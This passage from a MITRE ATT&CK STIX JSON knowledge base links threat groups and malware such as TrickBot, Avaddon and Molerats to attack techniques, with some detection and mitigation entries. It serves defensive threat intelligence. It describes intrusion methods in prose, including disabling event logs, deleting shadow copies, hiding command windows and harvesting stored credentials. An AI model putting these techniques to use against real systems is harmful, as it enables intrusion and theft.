(2019, April 10). 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Retrieved December 22, 2020."}], "modified": "2020-12-22T16:49:46.933Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious Microsoft Word and PDF attachments.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5aaee352-e4b5-4d4c-b021-9f38adb346da", "type": "relationship", "created": "2019-05-28T16:53:41.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Proofpoint Staff. (2017, September 27). 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Retrieved May 29, 2020."}, {"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2020-06-01T15:46:47.950Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used VBS for code execution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Trend Micro TA505 June 2019)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ab058a1-4c88-481f-a7a8-77855ee916e6", "type": "relationship", "created": "2020-05-27T13:35:36.714Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. 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Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-07T19:58:44.633Z", "description": "[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has maintained leak sites for exfiltrated data in attempt to extort victims into paying a ransom.(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "target_ref": "attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 SeaDuke 2015", "description": "Grunzweig, J.. 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Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:41.205Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on window names.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ade424d-5a9d-4209-8aa4-a129783ffaa3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). 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Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T19:58:24.965Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b078c2e-229d-4ef0-8e46-2164354caee9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "source_name": "Talos Cobalt Group July 2018"}, {"source_name": "Unit 42 Cobalt Gang Oct 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/", "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."}], "modified": "2020-03-17T13:53:21.720Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails containing malicious attachments that require users to execute a file or macro to infect the victim machine.(Citation: Talos Cobalt Group July 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5b094d05-fb53-4bf6-9e97-4e44ce5f2514", "created": "2023-09-18T16:07:42.296Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:45:42.960Z", "description": "In an attempt to avoid detection after compromising a machine, threat actors often try to disable Windows Defender. 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(n.d.). wevtutil. Retrieved September 14, 2021."}], "modified": "2021-09-21T17:57:23.333Z", "description": "[Wevtutil](https://attack.mitre.org/software/S0645) can be used to disable specific event logs on the system.(Citation: Wevtutil Microsoft Documentation)", "relationship_type": "uses", "source_ref": "tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a", "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b162339-4155-4757-8ec1-11834a613c8a", "type": "relationship", "created": "2019-03-11T19:24:08.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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(2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-12-06T23:14:44.932Z", "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has used <code>-WindowsStyle Hidden</code> to hide the command window.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5b1c9c38-7abd-4e2e-8a67-2d15f91eabec", "created": "2023-03-14T17:46:58.885Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T14:01:56.993Z", "description": "Monitor executed commands and arguments for indicators of obfuscation and potentially suspicious syntax such as uninterpreted escape characters (e.g., `^`).\n\nAlso monitor command-lines for syntax-specific signs of obfuscation, such as variations of arguments associated with encoding.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b2457a6-a2b8-4809-a2a0-68d1c74bbb9b", "type": "relationship", "created": "2020-05-08T18:56:22.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Inception November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}, {"source_name": "Kaspersky Cloud Atlas December 2014", "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}], "modified": "2020-05-12T15:18:44.006Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) has used PowerShell to execute malicious commands and payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas December 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco H1N1 Part 2", "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}], "modified": "2019-04-29T18:23:16.001Z", "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to removable media.(Citation: Cisco H1N1 Part 2)", "relationship_type": "uses", "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b271a21-d91f-489b-b6a1-b223a9094df5", "type": "relationship", "created": "2019-07-19T17:14:24.238Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}], "modified": "2019-07-22T15:49:29.373Z", "description": "(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5b2b610f-7563-49d0-8ee3-066cc82fd35c", "created": "2022-06-06T18:46:46.694Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) can use a COM component to generate scheduled tasks.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-06T18:46:46.694Z", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b2c87e3-8eac-48b3-832b-2290b367403d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}, {"source_name": "Securelist BlackEnergy Nov 2014", "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}], "modified": "2020-06-02T16:14:00.468Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about local network connections using [netstat](https://attack.mitre.org/software/S0104).(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b2d2786-1ccb-41d9-90dc-4e11d517bfe2", "type": "relationship", "created": "2019-06-24T16:07:33.575Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://support.microsoft.com/en-us/kb/967715", "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", "source_name": "Microsoft Disable Autorun"}, {"url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx", "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", "source_name": "TechNet Removable Media Control"}], "modified": "2021-07-20T02:18:04.877Z", "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b2f0fb3-5877-4fa2-bed1-1962423caccd", "type": "relationship", "created": "2019-01-30T14:11:44.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/", "source_name": "Trend Micro Trickbot Nov 2018"}, {"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}, {"source_name": "TrendMicro Trickbot Feb 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}], "modified": "2020-09-11T13:27:44.572Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP.(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019) Additionally, it searches for the \".vnc.lnk\" affix to steal VNC credentials.(Citation: TrendMicro Trickbot Feb 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5b2fb4ff-3b19-40a1-bd49-bd5b7d0dc034", "created": "2024-03-28T15:46:51.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. 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Retrieved February 8, 2021."}], "modified": "2021-02-10T21:01:17.394Z", "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", "target_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit USBStealer 2014", "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. 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Retrieved September 16, 2019.", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "source_name": "Security Intelligence More Eggs Aug 2019"}, {"description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", "source_name": "Visa FIN6 Feb 2019"}], "modified": "2020-09-09T15:53:09.924Z", "description": "(Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b8d22c5-f191-4dc3-a4ee-04c7d8b799da", "type": "relationship", "created": "2021-08-23T19:38:33.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Hornet Security Avaddon June 2020", "url": "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", "description": "Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021."}, {"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-10-18T21:41:22.701Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) deletes backups and shadow copies using native system tools.(Citation: Hornet Security Avaddon June 2020)(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5b8e36dd-264d-45dc-ab38-500b5eb17c33", "type": "relationship", "created": "2020-06-04T20:14:50.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objective-see windtail2 jan 2019", "url": "https://objective-see.com/blog/blog_0x3D.html", "description": "Wardle, Patrick. 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Retrieved August 24, 2021."}], "modified": "2021-08-24T14:13:17.410Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) can use a stream cipher to decrypt stings used by the malware.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ba32510-89b8-4bba-8680-06602923e13e", "type": "relationship", "created": "2020-03-19T19:09:30.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal", "description": "Microsoft. (2018, May 30). Event Tracing. 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If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ba68c4c-2ac8-4046-bcac-8a7e81e1bdcf", "type": "relationship", "created": "2020-05-27T20:25:33.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 MechaFlounder March 2019", "url": "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/", "description": "Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}], "modified": "2020-05-28T13:27:38.702Z", "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to use HTTP in communication with C2.(Citation: Unit 42 MechaFlounder March 2019)", "relationship_type": "uses", "source_ref": "malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5bad7b38-36b5-4208-9895-e4a113c511a3", "type": "relationship", "created": "2017-05-31T21:33:27.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf", "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved October 13, 2021."}], "modified": "2021-10-14T15:12:18.077Z", "description": "[Octopus](https://attack.mitre.org/software/S0340) has been disguised as legitimate programs, such as Java and Telegram Messenger.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", "relationship_type": "uses", "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T01:57:57.467Z", "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to enumerate and modify the infected host's file system. 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(2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}], "modified": "2020-05-20T14:05:11.768Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to use form-grabbing to extract data from web data forms.(Citation: Bitdefender Agent Tesla April 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5bbe7733-4e20-4ee1-a29c-b8e7111781dd", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. 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Retrieved December 2, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyTurla](https://attack.mitre.org/software/S0668) has been installed using a .bat file.(Citation: Talos TinyTurla September 2021)", "modified": "2022-04-18T17:14:18.193Z", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell Sakula", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. 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(n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": 